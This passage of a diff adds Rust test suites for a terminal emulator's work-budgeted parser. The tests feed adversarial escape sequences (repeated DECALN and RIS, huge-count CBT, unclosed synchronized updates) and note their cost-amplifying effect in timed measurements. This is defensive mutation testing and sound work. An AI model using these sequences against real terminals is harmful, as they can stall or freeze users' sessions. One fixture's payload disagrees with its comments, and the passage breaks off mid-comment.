+ } + term.feed(payload); + } + false +} + +/// Pump to completion, counting acquisitions. A drain that needed no second +/// call returns 1. +fn pump(term: &mut Terminal, bytes: &[u8]) -> usize { + let mut calls = 1; + let mut more = term.feed(bytes); + while more { + more = term.drain(); + calls += 1; + } + calls +} + +/// One `feed` may not spend an unbounded amount of work, however much the +/// stream asks for. +/// +/// Kills: deleting the `spent >= WORK_BUDGET` break, which restores the +/// unbounded hold this whole seam exists to prevent. Deliberately asserts on +/// *work* rather than wall time -- a time assertion is a flake on a loaded +/// machine, and the work bound is the thing the code actually promises. +#[test] +fn one_feed_spends_at_most_one_budget_plus_a_slice() { + let mut term = terminal(); + let decalns = 10_000; + term.feed(&b"\x1b#8".repeat(decalns)); + + let spent = term.stats().completed_work; + // Two terms, both irreducible: the budget is checked between slices, and + // a slice is sized so it holds at most one budget of the densest payload; + // and the callback that crosses the line cannot be preempted. + let ceiling = max_drain_work(COLUMNS, LINES, 100); + assert!( + spent <= ceiling, + "one feed spent {spent} work, over budget+overshoot ({ceiling})", + ); + assert!( + term.pending_bytes() > 0, + "10000 DECALNs is {} work and the budget is {WORK_BUDGET}; if nothing \ + is pending the seam ran the whole payload in one hold", + decalns as u64 * CELLS, + ); +} + +/// Every deferred byte is eventually executed -- exactly once, and all of it. +/// +/// Kills: bounding the hold by dropping the remainder instead of keeping it +/// (`self.pending.clear()` in place of the tail), which passes any latency +/// gate and any grid-content check. The unit count is the only witness. +#[test] +fn a_deferred_tail_executes_every_unit_exactly_once() { + let mut term = terminal(); + let decalns = 10_000; + + let calls = pump(&mut term, &b"\x1b#8".repeat(decalns)); + + assert!( + calls > 1, + "a payload this dense must have needed a second call" + ); + assert_eq!( + term.stats().completed_units, + decalns as u64, + "every DECALN must execute exactly once: no drops, no double-parse", + ); + assert_eq!(term.stats().completed_work, decalns as u64 * CELLS); + assert_eq!(term.pending_bytes(), 0, "nothing may be left behind"); +} + +/// The tail drains without another `feed` -- a reader with nothing new to +/// read must still be able to retire what it already accepted. +/// +/// Kills: draining only from `feed`, which strands the tail whenever the +/// child goes quiet (`cat bigfile` then no more output: the last screenful +/// never appears). +#[test] +fn a_tail_drains_without_a_second_feed() { + let mut term = terminal(); + let decalns = 2_000; + assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail"); + + // Never feed again. Only drain. + while term.drain() {} + + assert_eq!(term.stats().completed_units, decalns as u64); + assert_eq!(term.pending_bytes(), 0); +} + +/// A slice is cut only at a byte boundary the parser has already passed, so +/// an escape sequence split across two slices still executes once. +/// +/// Kills: cutting mid-sequence and restarting the parser, or double-feeding +/// the straddling bytes. `\x1b#8` is 3 bytes and slices are a multiple of +/// neither, so at this length hundreds of sequences straddle a cut. +#[test] +fn a_sequence_split_across_slices_executes_exactly_once() { + let mut term = terminal(); + let decalns = 3_000; + pump(&mut term, &b"\x1b#8".repeat(decalns)); + assert_eq!( + term.stats().completed_units, + decalns as u64, + "a straddling sequence was dropped or executed twice", + ); + + // Same payload, delivered one byte per feed: every sequence straddles. + let mut byte_at_a_time = terminal(); + for chunk in b"\x1b#8".repeat(decalns).chunks(1) { + byte_at_a_time.feed(chunk); + } + while byte_at_a_time.drain() {} + assert_eq!(byte_at_a_time.stats().completed_units, decalns as u64); +} + +/// The tail is a bound on the queue, and the breach counter is loud. +/// +/// Kills: a silent cap -- a tail that grows past `TAIL_CAP` without saying +/// so is indistinguishable from a reader that is obeying backpressure, which +/// is exactly the confusion that hides an unbounded queue. +#[test] +fn an_overrun_tail_is_capped_and_counted() { + let mut term = tiny(); + assert!(!term.tail_full(), "a fresh terminal is not full"); + assert!(term.tail_drained(), "a fresh terminal is drained"); + assert_eq!(term.stats().tail_breaches, 0); + + // A reader that ignores `tail_full` and keeps shovelling. + assert!( + fill_tail(&mut term, &b"\x1b#8".repeat(20_000)), + "the tail never reached its cap: the queue is not bounded", + ); + + assert!(term.pending_bytes() >= TAIL_CAP); + assert!( + term.stats().tail_breaches > 0, + "reaching the cap must be counted, not absorbed silently", + ); + assert!(!term.tail_drained(), "a full tail is not a drained tail"); +} + +/// Resume is hysteretic: `tail_drained` does not go true the instant the tail +/// falls one byte below the cap. +/// +/// Kills: `tail_drained() == !tail_full()`, which makes a reader flap between +/// paused and reading once per slice at exactly the moment it is most loaded. +#[test] +fn resume_waits_for_a_low_water_mark_not_merely_a_non_full_tail() { + let mut term = tiny(); + assert!( + fill_tail(&mut term, &b"\x1b#8".repeat(20_000)), + "expected a full tail" + ); + + // Drain until the reader is allowed to resume, watching for a window in + // which it is neither full nor drained -- that gap *is* the hysteresis. + let mut saw_gap = false; + for _ in 0..1_000_000 { + if term.tail_drained() { + break; + } + assert!(term.drain() || term.tail_drained()); + if !term.tail_full() && !term.tail_drained() { + saw_gap = true; + } + } + assert!( + term.tail_drained(), + "the tail never drained to the resume mark" + ); + assert!( + saw_gap, + "no depth was both non-full and non-drained: the two thresholds are \ + the same value and the reader will flap", + ); +} + +/// Close must not be held behind parser work. +/// +/// Kills: draining the tail on close instead of discarding it. Measured +/// elsewhere in this project: teardown that finishes parsing before killing +/// the child costs ~600 ms on macOS, and no byte of that work reaches a +/// renderer -- publication is detached before shutdown drains. +#[test] +fn close_may_abandon_the_tail_and_says_how_much_it_dropped() { + let mut term = terminal(); + term.feed(&b"\x1b#8".repeat(10_000)); + let stranded = term.pending_bytes(); + assert!(stranded > 0); + + let abandoned = term.abandon_tail(); + + assert_eq!(abandoned, stranded); + assert_eq!(term.pending_bytes(), 0); + assert_eq!( + term.stats().abandoned_bytes, + stranded as u64, + "dropped bytes must be counted: this is lossy by design and silent \ + loss is how it stops being by design", + ); + assert!( + term.tail_drained(), + "an abandoned tail cannot strand a reader" + ); +} + +/// The grid the weights are priced against tracks resizes. +/// +/// Kills: dropping `Feeder::resize`. A stale grid misprices every O(cells) +/// charge for as long as it is wrong -- and it is wrong in the *unsafe* +/// direction whenever the window grows, which is the common case. +#[test] +fn a_resize_reprices_the_same_escape() { + let mut small = terminal(); + small.feed_fully(b"\x1b#8"); + let before = small.stats().completed_work; + assert_eq!(before, CELLS); + + small.resize(Size { + columns: COLUMNS * 2, + screen_lines: LINES, + scrollback: 100, + }); + small.reset_stats(); + small.feed_fully(b"\x1b#8"); + + assert_eq!( + small.stats().completed_work, + CELLS * 2, + "the same escape on a grid twice as wide must cost twice as much", + ); + assert_eq!(small.stats().completed_units, 1, "still one callback"); +} + +/// A resize *between* slices of one payload reprices the remainder. +/// +/// Kills: caching the slice size or the grid across a drain. The tail +/// outlives the call that accepted it, so a resize can land in the middle of +/// it -- the untouched remainder must be charged at the new grid, not the one +/// that was current when the bytes arrived. +#[test] +fn a_resize_mid_tail_reprices_the_remainder() { + let mut term = terminal(); + let decalns = 4_000; + assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail"); + let done_before = term.stats().completed_units; + let work_before = term.stats().completed_work; + assert_eq!(work_before, done_before * CELLS); + + term.resize(Size { + columns: COLUMNS * 2, + screen_lines: LINES, + scrollback: 100, + }); + while term.drain() {} + + let after = term.stats(); + assert_eq!(after.completed_units, decalns as u64, "no unit may be lost"); + assert_eq!( + after.completed_work, + work_before + (decalns as u64 - done_before) * CELLS * 2, + "the remainder must be priced at the resized grid", + ); +} + +/// Slice size is derived from the worst atom the grid admits, because a fixed +/// byte count cannot bound a lock hold: `ESC c` is two bytes and resets both +/// grids plus scrollback. +/// +/// Kills: replacing `slice_bytes_remaining` with a constant, or deriving it from +/// `cells` while the worst atom is larger than `cells`. Measured: 256 bytes +/// of DECALN is 1.6 ms at 200x50 and ~14 ms at 1600x50, so no one constant +/// serves both. +#[test] +fn slice_size_shrinks_as_the_worst_atom_grows() { + let small = slice_bytes_remaining(80, 24, 0, 0, 0); + let large = slice_bytes_remaining(1600, 50, 0, 0, 0); + assert!( + small > large, + "a bigger grid makes each byte more expensive, so slices must shrink: \ + 80x24 -> {small}, 1600x50 -> {large}", + ); + assert!( + slice_bytes_remaining(200, 50, 10_000, 0, 0) <= slice_bytes_remaining(200, 50, 0, 0, 0), + "scrollback makes RIS more expensive, so it may only shrink slices", + ); + for (columns, lines, scrollback) in [(80, 24, 0), (200, 50, 0), (400, 100, 0), (1600, 50, 0)] { + assert!((1..=MAX_SLICE).contains(&slice_bytes_remaining(columns, lines, scrollback, 0, 0))); + // One slice holds at most N/2 of the densest atom. Either that fits a + // budget, or the floor binds -- and then the overshoot is stated by + // `max_drain_work` rather than being an accident. + let width = slice_bytes_remaining(columns, lines, scrollback, 0, 0); + let worst = (width as u64 / 2) * max_atom_work(columns, lines, scrollback); + assert!( + worst <= WORK_BUDGET || width == 1, + "{columns}x{lines}: a slice buys {worst} work against a \ + {WORK_BUDGET} budget without the MIN clamp to excuse it", + ); + } +} + +/// Work released by an F1 abort is counted. +/// +/// Kills: leaving the `stop_sync` flush out of the accounting. F1 aborts a +/// runaway synchronized update by flushing its buffer through the handler -- +/// those callbacks run, cost time, and hold the lock, so a scheduler that +/// does not see them is blind on exactly the path the fence created. The +/// escapes here are `ESC#8` so the flushed work is unmistakable against the +/// buffered bytes. +#[test] +fn work_flushed_by_a_sync_abort_is_counted() { + let (mut term, _a) = Terminal::new( + Size { + columns: 80, + screen_lines: 24, + scrollback: 0, + }, + Fences::SYNC_ONLY, + ); + let cells = 80 * 24; + + // Open a synchronized update and never close it: F1 must abort it once + // the buffer passes SYNC_CAP, flushing everything buffered so far. + term.feed_fully(b"\x1b[?2026h"); + let decalns = SYNC_CAP / 3 + 1000; + term.feed_fully(&b"\x1b#8".repeat(decalns)); + + let stats = term.stats(); + assert!(stats.sync_aborts > 0, "the fence must have fired"); + // Every DECALN fed must be accounted for. The comparison is against the + // *input*, not against the counters' own internal consistency: an + // uncounted flush leaves both counters small together, so checking them + // against each other would pass over the mutant. + // Two bookkeeping callbacks besides the DECALNs: the `ESC[?2026h` that + // opened the update, and the `unset_private_mode` that `stop_sync` emits + // per abort to report the mode off (`vte-0.15.0/src/ansi.rs:353`). + let bookkeeping = 1 + stats.sync_aborts; + assert_eq!( + stats.completed_units, + decalns as u64 + bookkeeping, + "every DECALN must be counted, including the ones released by the \ + abort, plus {bookkeeping} mode callbacks", + ); + assert_eq!( + stats.completed_work, + decalns as u64 * cells + bookkeeping, + "and their work: {decalns} DECALNs at {cells} cells each", + ); +} + +/// Cheap traffic is not taxed by slicing: an ordinary screenful retires in +/// one call. +/// +/// Kills: a budget so small, or a slice so small, that normal output pays the +/// deferral machinery. This is the companion to the DECALN arm -- a seam that +/// bounds the hold by making everything slow has not fixed anything. +#[test] +fn ordinary_output_needs_no_second_call() { + let mut term = terminal(); + let line = b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n"; + let screenful = line.repeat(LINES); + + assert!( + !term.feed(&screenful), + "a screenful of ordinary output must retire in one call, not defer", + ); + assert_eq!(term.pending_bytes(), 0); + assert_eq!(term.stats().tail_breaches, 0); +} + +/// The work bound holds on the **first drain of a fresh feeder**, for the +/// densest payload upstream offers. +/// +/// Kills: sizing slices from observed density. A learned bound is not a bound +/// on the first slice -- a cold feeder has seen nothing, so it hands the +/// parser a wide slice, and a wide slice of `ESC c` spends many budgets +/// before anything checks. This is the arm that a warm-up-based scheduler +/// passes on the second call and fails on the first, so it asserts on a +/// terminal that has never parsed a byte. +#[test] +fn a_cold_feeder_bounds_its_very_first_slice() { + for (columns, lines) in [(80, 24), (200, 50), (400, 100), (1600, 50)] { + for (label, atom) in [("RIS", &b"\x1bc"[..]), ("DECALN", &b"\x1b#8"[..])] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: lines, + scrollback: 100, + }, + Fences::ALL, + ); + // Never fed before: `density`-style state, if any existed, is at + // its initial value. + term.feed(&atom.repeat(5_000)); + + let spent = term.stats().completed_work; + let ceiling = max_drain_work(columns, lines, 100); + assert!( + spent <= ceiling, + "{label} at {columns}x{lines}: first drain of a cold feeder \ + spent {spent} work, over budget+overshoot ({ceiling})", + ); + assert!(term.pending_bytes() > 0, "{label}: expected a tail"); + } + } +} + +/// Exact price of every escape whose cost the grid can amplify. +/// +/// One table, exact `completed_work` per escape, at two widths so a weight +/// that dropped its `columns` factor cannot hide. Kills, one row each: +/// +/// * `delete_chars`/`insert_blank` charged by `N` -- their cost *falls* as N +/// rises (the swap loop runs `columns - end` times), so N=1 is the worst +/// case and pricing by N is backwards. +/// * `erase_chars` charged raw `N` -- upstream clamps to the row, so +/// `ESC[65535X` on an 80-column grid touches 80 cells, not 65535. +/// * `scroll_up`/`delete_lines` losing their `columns` factor -- the rows are +/// reset, and a row reset is O(columns). +/// * `clear_line`, `decaln`, `clear_screen` mispriced by an axis. +/// +/// Exact equality, never a bound: a `<=` assertion passes for every weight +/// smaller than the truth, which is the direction that hurts. +#[test] +fn every_amplifiable_escape_is_priced_exactly() { + for (columns, lines) in [(80usize, 24usize), (400, 50)] { + let cells = (columns * lines) as u64; + let c = columns as u64; + let cases: &[(&str, String, u64)] = &[ + ("decaln", "\u{1b}#8".into(), cells), + ("clear_screen", "\u{1b}[2J".into(), cells), + ("clear_line", "\u{1b}[2K".into(), c), + ("erase_chars N=1", "\u{1b}[1X".into(), 1), + ("erase_chars N=20", "\u{1b}[20X".into(), 20), + ("erase_chars N=huge", "\u{1b}[65535X".into(), c), + ("delete_chars N=1", "\u{1b}[1P".into(), c), + ("delete_chars N=huge", "\u{1b}[65535P".into(), c), + ("insert_blank N=1", "\u{1b}[1@".into(), c), + ("scroll_up N=1", "\u{1b}[1S".into(), c), + ("scroll_up N=5", "\u{1b}[5S".into(), 5 * c), + ("scroll_up N=huge", "\u{1b}[65535S".into(), lines as u64 * c), + ("scroll_down N=1", "\u{1b}[1T".into(), c), + ("scroll_down N=4", "\u{1b}[4T".into(), 4 * c), + ( + "scroll_down N=huge", + "\u{1b}[65535T".into(), + lines as u64 * c, + ), + ("delete_lines N=3", "\u{1b}[3M".into(), 3 * c), + ( + "delete_lines N=huge", + "\u{1b}[65535M".into(), + lines as u64 * c, + ), + ("insert_lines N=1", "\u{1b}[1L".into(), c), + ("insert_lines N=6", "\u{1b}[6L".into(), 6 * c), + ( + "insert_lines N=huge", + "\u{1b}[65535L".into(), + lines as u64 * c, + ), + ("put_tab N=1", "\t".into(), c), + ("fwd_tabs N=1", "\u{1b}[1I".into(), c), + ("fwd_tabs N=huge", "\u{1b}[65535I".into(), c), + ("insert_blank N=huge", "\u{1b}[65535@".into(), c), + ("clear_line ESC[0K", "\u{1b}[0K".into(), c), + ("clear_line ESC[1K", "\u{1b}[1K".into(), c), + ("clear_screen ESC[0J", "\u{1b}[0J".into(), cells), + ("clear_screen ESC[1J", "\u{1b}[1J".into(), cells), + ("sgr", "\u{1b}[m".into(), 1), + ("goto", "\u{1b}[1;1H".into(), 1), + ]; + for (label, seq, expected) in cases { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: lines, + scrollback: 0, + }, + Fences::ALL, + ); + // Home first so nothing scrolls, then measure only the escape. + term.feed_fully(b"\x1b[1;1H"); + term.reset_stats(); + term.feed_fully(seq.as_bytes()); + + assert_eq!(term.stats().completed_units, 1, "{label}: one callback"); + assert_eq!( + term.stats().completed_work, + *expected, + "{label} at {columns}x{lines} priced wrong", + ); + } + } +} + +/// RIS is priced with its history axis, not just its cells. +/// +/// Kills: charging `cells`, or dropping the history term. +/// +/// On the alt-screen arm, honestly labelled: the active-`history_size()` +/// mispricing it was written against is **unrepresentable in this design**, +/// not merely untested. `Counting` holds `scrollback` as a scalar copied at +/// construction and has no path to a live grid, so there is no way to write +/// the mutant. The arm is kept as a regression witness -- if a `Term` +/// reference is ever wired into the wrapper it becomes load-bearing the same +/// day -- and both arms are evaluated before either can report, so the +/// primary cannot short-circuit the alt. +#[test] +fn ris_is_priced_for_both_grids_and_the_scrollback_it_walks() { + let (columns, lines) = (80usize, 24usize); + let cells = (columns * lines) as u64; + let mut observed = vec![]; + for scrollback in [0usize, 100, 10_000] { + for (label, prefix) in [("primary", ""), ("alt screen", "\u{1b}[?1049h")] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: lines, + scrollback, + }, + Fences::ALL, + ); + term.feed_fully(prefix.as_bytes()); + term.reset_stats(); + term.feed_fully(b"\x1bc"); + observed.push((label, scrollback, term.stats().completed_work)); + } + } + // One comparison over the whole vector, not a loop of comparisons. + // Collecting first stops an arm from being *skipped*; asserting the + // vectors is what stops a failure from being *truncated* to the first + // mismatch. Otherwise the alt-screen receipt still never prints, which + // was the point of collecting. + let expected: Vec<_> = observed + .iter() + .map(|&(label, scrollback, _)| { + (label, scrollback, 2 * cells + (scrollback * columns) as u64) + }) + .collect(); + assert_eq!( + observed, expected, + "RIS must be priced on configured depth, identically on both grids", + ); +} + +/// CBT is charged for exactly the cells it scans -- an equality, in both +/// directions. +/// +/// Kills: delegating `move_backward_tabs` verbatim, and deleting the +/// fixed-point break. With tabstops cleared and the cursor at the right +/// margin, upstream never advances the cursor, so its `col == 0` exit is +/// unreachable and all N iterations rescan the row -- `ESC[3g ESC[65535Z` is +/// 8 bytes for 82 ms at 1600 columns. +/// +/// Two traps this had to be written around, both of which I walked into +/// first: +/// +/// * **The cursor is not the witness.** Deleting the break lands on the same +/// column; only the cost differs. A fixture checking where the cursor ended +/// up passes over the mutant. +/// * **An upper bound is not the witness either.** Deleting the break makes +/// the loop run without charging -- measured `work == 1` for 29 ms of real +/// scanning -- so `spent <= bound` *passes*. Under-charging is exactly the +/// direction that hurts, and only an equality sees it. +/// +/// The expected value is the scan the source performs: with no stop below the +/// cursor, one pass over `cursor_column` cells, then a permanent fixed point. +/// Both arms come to `columns` -- the telescoping sum of a walk, or one +/// failed pass -- which is the bound this whole change buys. +#[test] +fn the_worst_atom_is_charged_for_exactly_what_it_scans() { + for columns in [80usize, 400, 1600] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: 50, + scrollback: 0, + }, + Fences::ALL, + ); + // Adversarial for cost: every tabstop gone, cursor at the right + // margin, count far past the width. + term.feed_fully(format!("\u{1b}[3g\u{1b}[1;{columns}H").as_bytes()); + term.reset_stats(); + + term.feed_fully(b"\x1b[65535Z"); + + assert_eq!(term.stats().completed_units, 1, "one escape, one callback"); + assert_eq!( + term.stats().completed_work, + 1 + (columns as u64 - 1), + "one failed scan over the whole prefix, then a permanent fixed \ + point: the charge is the escape plus that one scan. A loop that \ + kept going would charge this much per iteration, 65535 times", + ); + // The real guard on the loop: with a stop reachable, the charge must + // equal the distance actually travelled. A break-less loop scans the + // row 65535 times and charges for one crossing. + let (mut walk, _a) = Terminal::new( + Size { + columns, + screen_lines: 50, + scrollback: 0, + }, + Fences::ALL, + ); + // Default tabstops every 8: from the right margin a huge count walks + // to column 0, crossing every column on the way. + walk.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes()); + walk.reset_stats(); + walk.feed_fully(b"\x1b[65535Z"); + + assert_eq!(walk.term().grid().cursor.point.column.0, 0); + assert_eq!( + walk.stats().completed_work, + 1 + (columns as u64 - 1), + "the charge must be the distance travelled: one unit for the \ + escape plus one per column crossed", + ); + } +} + +/// CBT at column 0 is free, and stays free. +/// +/// Kills: removing the `before == 0` guard. Upstream has its own `col == 0` +/// break, so deleting the wrapper's copy is invisible to the cursor and +/// invisible to timing -- it only shows up as work charged for a scan over +/// zero cells that the wrapper attributed to itself. The left margin is also +/// the position both earlier sweeps of this op homed to, which is why it is +/// the position where a defect hides best. +#[test] +fn the_worst_atom_costs_nothing_at_the_left_margin() { + for columns in [80usize, 400] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: 50, + scrollback: 0, + }, + Fences::ALL, + ); + term.feed_fully(b"\x1b[3g\x1b[1;1H"); + term.reset_stats(); + term.feed_fully(b"\x1b[65535Z"); + + assert_eq!( + term.stats().completed_work, + 1, + "at column 0 there is nothing to the left to scan, so the escape \ + costs one unit and no cells", + ); + assert_eq!(term.term().grid().cursor.point.column.0, 0); + } +} + +/// The other adversary: every tabstop *set*, which maximises the number of +/// delegated single steps rather than the length of one scan. +/// +/// Kills: pricing CBT per-step-times-width. Cleared tabstops attack the +/// clamp; all-set attacks the break, forcing `columns - 1` steps of one +/// column each. The two layouts peak in different terms and neither may +/// exceed the bound, so both are here -- a suite that tested only the famous +/// one would miss the shape it chose against. +#[test] +fn the_worst_atom_is_bounded_under_the_layout_that_maximises_steps() { + for columns in [80usize, 400] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: 50, + scrollback: 100, + }, + Fences::ALL, + ); + // A tabstop in every column, then start from the right margin. + term.feed_fully(b"\x1b[3g"); + for c in 1..=columns { + term.feed_fully(format!("\u{1b}[1;{c}H\u{1b}H").as_bytes()); + } + term.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes()); + term.reset_stats(); + + term.feed_fully(b"\x1b[65535Z"); + + assert_eq!(term.stats().completed_units, 1); + assert_eq!( + term.stats().completed_work, + 1 + (columns as u64 - 1), + "with a stop in every column the walk crosses each of them once, \ + so the charge is exact: one unit for the escape plus one per \ + column crossed. An inequality here would not catch a 2x \ + overcharge -- which lands on 159, not 160, because the escape's \ + own unit is charged separately and is not doubled", + ); + assert_eq!( + term.term().grid().cursor.point.column.0, + 0, + "with a stop in every column the cursor must walk all the way", + ); + } +} + +/// Stopping CBT early does not change where the cursor lands. +/// +/// The companion to the two cost tests above: they assert the work fell, +/// this asserts the behaviour did not move. Kills: stopping at something that +/// is *not* a fixed point -- `min(N, 1)`, or breaking whenever a scan fails +/// even though an earlier step still had stops to find. Cases are the ones +/// the exhaustive probe found interesting: no stops, one stop mid-row, and +/// default stops, each from the right margin with a count past the width. +#[test] +fn stopping_the_worst_atom_early_preserves_its_semantics() { + let columns = 40usize; + let cursor_column = |setup: &str| -> usize { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: 3, + scrollback: 0, + }, + Fences::ALL, + ); + term.feed_fully(setup.as_bytes()); + term.term().grid().cursor.point.column.0 + }; + + // No stops: the cursor cannot move, whatever the count. + assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[65535Z"), 39); + assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[40Z"), 39); + // One stop at column 20 (1-based 21): reachable once, then stuck. + let one_stop = "\u{1b}[3g\u{1b}[1;21H\u{1b}H\u{1b}[1;40H"; + assert_eq!( + cursor_column(&format!("{one_stop}\u{1b}[65535Z")), + cursor_column(&format!("{one_stop}\u{1b}[40Z")), + ); + // Default stops every 8: a large count walks all the way to column 0. + assert_eq!(cursor_column("\u{1b}[1;40H\u{1b}[65535Z"), 0); +} + +/// A stream of atoms each worth more than the whole budget still drains, and +/// every drain makes progress. +/// +/// The liveness half of the bound. `max_drain_work` says how much one drain +/// may cost; it says nothing about whether the loop terminates, and an +/// oversized atom is exactly where a work-denominated scheduler could refuse +/// to start one -- spending its budget checking, never advancing, and hanging +/// the terminal with a full tail. RIS on a 10k-scrollback grid is ~16x the +/// budget, so this is not hypothetical. +/// +/// Kills: any yield that can decline to start work -- a `width` that reaches +/// 0, a `remaining`-scaled slice that underflows to nothing, a guard that +/// skips a slice deemed too expensive for what is left of the budget. Each of +/// those is a plausible thing to reach for when an atom costs more than the +/// whole budget, and each hangs a terminal on legitimate input. +/// +/// Note on a mutant it does *not* kill: moving the budget check from after +/// the slice to before it is **equivalent**, not a defect -- `spent` is zero +/// at entry, so the first slice runs either way. Recorded because I wrote +/// this test believing it caught that, ran the mutant, and it lived. +#[test] +fn atoms_larger_than_the_budget_still_make_progress() { + for (columns, lines, scrollback) in [(80usize, 24usize, 10_000usize), (200, 50, 10_000)] { + let (mut term, _a) = Terminal::new( + Size { + columns, + screen_lines: lines, + scrollback, + }, + Fences::ALL, + ); + let atoms = 200usize; + let bound = max_drain_work(columns, lines, scrollback); + assert!( + bound > WORK_BUDGET * 4, + "this arm is only meaningful where one atom dwarfs the budget", + ); + + let mut more = term.feed(&b"\x1bc".repeat(atoms)); + // `feed` already drained once; seed the baseline with its work or the + // first delta measured below silently doubles. + let mut previous = term.stats().completed_work; + let mut worst = previous; + let mut calls = 1; + while more { + let before = term.pending_bytes(); + more = term.drain(); + assert!( + term.pending_bytes() < before, + "no progress: the tail stuck at {before} bytes", + ); + let now = term.stats().completed_work; + worst = worst.max(now - previous); + previous = now; + calls += 1; + assert!(calls < 10_000, "drain did not terminate"); + } + + assert_eq!(term.stats().completed_units, atoms as u64, "lost units"); + assert_eq!(term.pending_bytes(), 0); + assert!( + worst <= bound, + "{columns}x{lines}: worst drain spent {worst}, over the stated \ + bound {bound}", + ); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/slicing_adversarial.rs b/desktop/src-tauri/crates/buzz-terminal/tests/slicing_adversarial.rs new file mode 100644 index 0000000000..c70402d7cf --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/slicing_adversarial.rs @@ -0,0 +1,399 @@ +//! Adversarial slicing cases for resize debt, oversized atoms, and arithmetic extremes. +//! +//! **This is half a suite.** The remaining work-bound cases live in +//! `slicing.rs`; the two files are one set of contracts split only for the +//! file-size ratchet. A mutation check scoped with `--test slicing_adversarial` +//! covers 4 of 76 package tests and can report a confident pass while the +//! killing fixture sits in the sibling file. Sizing from the whole budget does +//! exactly that, then dies under the package. +//! +//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`. + +use buzz_terminal::fences::{ + max_atom_work, max_drain_work, slice_bytes_remaining, Fences, WORK_BUDGET, +}; +use buzz_terminal::{Size, Terminal}; + +/// A scrollback change reprices RIS *and* the slicing derived from it. +/// +/// Kills: updating the feeder's columns and lines on resize but not its +/// scrollback -- and, separately, a repair that reprices the charge while +/// leaving slice width stale. Those are different failures and neither +/// observable sees the other: fix only the charge and the drain count stays +/// wrong; fix only the derivation and the charge stays wrong. +/// +/// Two properties, because one is not enough: +/// +/// * The exact RIS charge at the new depth. Direct, and it is what a +/// pricing-only repair passes. +/// * Equality with a terminal *constructed* at the new depth, across work +/// and drain count. A resized feeder that is genuinely repaired is +/// indistinguishable from one that was born there. This is stronger than a +/// hand-picked threshold and immune to `WORK_BUDGET`/`MIN_SLICE` moving, +/// since both arms move together -- and the sanity arm proves the +/// comparison is deterministic before it is used to judge anything. +/// +/// `completed_units` is deliberately *not* the discriminator here: it reads +/// 200 in both arms, because the same callbacks run either way and only their +/// cost and slicing differ. It is asserted anyway as the invariant that must +/// hold -- no unit lost or duplicated across a resize -- while carrying none +/// of the discrimination. +#[test] +fn a_scrollback_change_reprices_the_densest_atom_and_the_slicing() { + let shallow = Size { + columns: 200, + screen_lines: 50, + scrollback: 100, + }; + let deep = Size { + scrollback: 10_000, + ..shallow + }; + let cells = (deep.columns * deep.screen_lines) as u64; + + // Preconditions, asserted rather than assumed, because both are easy to + // break by "generalising" this fixture later: + // + // * The geometry must let the *scheduling* fields separate. They only do + // when the two depths land on different slice widths, and the deep side + // is always floored -- so the shallow side must not be. At 1600x50 the + // visible grid alone floors every depth from 0 upward, and three of the + // four observables below go silently inert. + // * The payload must be RIS. It is the only escape reaching the only + // weight carrying a scrollback term (`units::reset_state`); DECALN and + // every other atom are priced on cells or columns and are blind to + // depth, so a conforming repair would show work identical to the + // control and the assertions here would invert into false failures. + assert!( + slice_bytes_remaining( + shallow.columns, + shallow.screen_lines, + shallow.scrollback, + 0, + 0 + ) > 1, + "geometry cannot discriminate: the shallow arm is already floored", + ); + assert_eq!( + slice_bytes_remaining(deep.columns, deep.screen_lines, deep.scrollback, 0, 0), + 1, + ); + + // How a terminal at `size` retires 200 RIS: work, and how many + // acquisitions it took. Both are feeder behaviour, not helper output. + let run = |size: Size, resize_from: Option| { + let (mut term, _a) = Terminal::new(resize_from.unwrap_or(size), Fences::ALL); + if resize_from.is_some() { + term.resize(size); + } + term.reset_stats(); + let mut drains = 1; + let mut more = term.feed(&b"c".repeat(200)); + while more { + more = term.drain(); + drains += 1; + } + ( + term.stats().completed_units, + term.stats().completed_work, + drains, + ) + }; + + let control = run(deep, None); + let sanity = run(deep, None); + assert_eq!( + control, sanity, + "two terminals built the same way must agree before this comparison can judge anything", + ); + + let resized = run(deep, Some(shallow)); + assert_eq!(resized.0, 200, "no unit may be lost or duplicated"); + assert_eq!( + resized, control, + "a feeder resized to a depth must be indistinguishable from one constructed at it -- in charge and in how many acquisitions it took", + ); + + // The exact charge, stated rather than inferred from the equality: a + // repair that made both arms equally *wrong* would pass the comparison. + let (mut term, _a) = Terminal::new(shallow, Fences::ALL); + term.resize(deep); + term.reset_stats(); + term.feed_fully(b"c"); + assert_eq!( + term.stats().completed_work, + 2 * cells + (deep.scrollback * deep.columns) as u64, + ); + + // Shrinking retains the debt, and the fixture proves retention rather + // than merely permitting it. + // + // `>= fresh` alone is the predicate three of us proposed and all three + // withdrew: a feeder that dropped the debt reads *exactly* equal to a + // fresh shallow one, so `>=` passes on the unrepaired state. Strictness + // on the pricing field is what rejects it. The scheduling fields are + // asserted directionally with per-field signs -- `first_units` inverts, + // because a narrower slice retires fewer atoms per un-preemptable drain, + // which is the fence working -- but none of them is the discriminator: + // they separate only when the two depths straddle the slice floor, and + // `completed_work` separates at every positive depth gap. + // + // Every comparison is against the fresh control's own field, never a + // literal: a constant or geometry change must move both sides together, + // or the fixture starts asserting the arithmetic of the day it was + // written. + let measure = |term: &mut Terminal| { + term.reset_stats(); + let mut drains = 1; + let mut more = term.feed(&b"\x1bc".repeat(200)); + let first_units = term.stats().completed_units; + let first_pending = term.pending_bytes(); + while more { + more = term.drain(); + drains += 1; + } + ( + first_units, + first_pending, + drains, + term.stats().completed_units, + term.stats().completed_work, + ) + }; + + // The terminal under test stays alive past its measurement, so the + // geometry arm below runs on the feeder that actually 